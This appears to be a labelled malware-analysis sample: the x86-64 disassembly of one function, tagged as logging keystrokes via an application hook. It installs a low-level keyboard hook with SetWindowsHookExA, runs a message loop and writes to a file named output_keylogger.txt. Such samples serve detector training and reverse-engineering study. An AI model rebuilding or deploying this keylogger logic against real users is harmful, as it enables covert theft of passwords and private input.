Function at 0x1400044f0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov r15, rdx
mov ebx, ecx
movdqa xmm0, xmmword [0x140008b50]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov r8d, 0x1d
lea rdx, str.C:Usersoutput_keylogger.txt
lea rcx, [rbp - 0x58]
call fcn.140002ae0
nop
cmp ebx, 4
je 0x140004568
mov r14d, 1
jmp 0x140004980
mov rdx, qword [r15 + 8]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140004576
lea r12, [0x14000d038]
mov rcx, r12
call fcn.140002ae0
movdqa xmm0, xmmword [0x140008b50]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, r12
mov r9, qword [0x14000d038]
mov r10, qword [0x14000d050]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [0x14000d048]
test rdx, rdx
je 0x1400045f3
lea rax, [rdx - 1]
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x1400045ee
nop
cmp r8, rcx
je 0x1400045f3
dec r8
cmp byte [r8], 0x5c
jne 0x1400045e0
sub r8, rcx
jmp 0x1400045f6
mov r8, rsi
movdqa xmm0, xmmword [0x140008b50]
cmp r8, 0xffffffffffffffff
je 0x14000463f
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
cmp rdx, r8
cmovb r8, rdx
mov rdx, r12
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rsp + 0x58]
call fcn.140002ae0
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp - 0x68], xmm1
jmp 0x140004648
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
movdqa xmm0, xmmword [0x140008b40]
movdqu xmmword [rsp + 0x68], xmm0
xor r14d, r14d
mov word [rsp + 0x58], r14w
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x38], r14w
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rcx, qword [rbp - 0x78]
lea rdx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll__To_wide]
test eax, eax
jne 0x140004695
lea rcx, str.invalid_char_filename_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
lea rax, [rbp - 0x30]
mov rdx, rsi
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400046a0
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1400046f4
lea rdi, [rcx + rdx]
mov qword [rsp + 0x48], rdi
lea rbx, [rsp + 0x38]
cmp r8, 8
cmovae rbx, qword [rsp + 0x38]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r14w
lea rax, [rsp + 0x38]
jmp 0x140004707
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x30]
lea rcx, [rsp + 0x38]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005180
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x14000475b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004755
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006000
nop
lea r8, [0x14000db58]
lea rdx, [0x140005cb0]
lea rcx, [0x14000db50]
call qword [sym.imp.MSVCP140.dll_int___cdecl_std::_Execute_once_struct_std::once_flag____ptr64__int____cdecl___void____ptr64__void____ptr64__void____ptr64____ptr64___void____ptr64_]
test eax, eax
jne 0x140004781
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea r8, [0x14000db58]
lea rdx, [0x140005cb0]
lea rcx, [0x14000db50]
call qword [sym.imp.MSVCP140.dll_int___cdecl_std::_Execute_once_struct_std::once_flag____ptr64__int____cdecl___void____ptr64__void____ptr64__void____ptr64____ptr64___void____ptr64_]
test eax, eax
jne 0x1400047a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll__Stat]
cmp eax, 8
je 0x1400047d0
cmp eax, 0xffffffff
je 0x1400047d0
xor bl, bl
jmp 0x1400047d2
mov bl, 1
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140004817
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004812
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004812
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006000
test bl, bl
je 0x140004835
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, r12
call fcn.140002ae0
mov rdx, qword [r15 + 0x10]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140004840
lea rcx, [0x14000d078]
call fcn.140002ae0
mov rdx, qword [r15 + 0x18]
nop word [rax + rax]
inc rsi
cmp byte [rdx + rsi], 0
jne 0x140004860
mov r8, rsi
lea rcx, [0x14000d058]
call fcn.140002ae0
cmp qword [0x14000d050], 0x10
cmovae r12, qword [0x14000d038]
mov r8d, 0xe
mov rdx, r12
lea rcx, [0x14000db88]
call fcn.140002ea0
xor r8d, r8d
test rax, rax
mov rax, qword [0x14000db80]
movsxd rcx, dword [rax + 4]
lea rax, [0x14000db80]
jne 0x1400048c6
add rcx, rax
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x1400048d1
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140003ee0]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
test rax, rax
je 0x140004931
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140004931
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140004904
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000496f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000496a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000496a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006000
movdqa xmm0, xmmword [0x140008b50]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x1400049be
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006000
mov eax, r14d
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140005fa0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret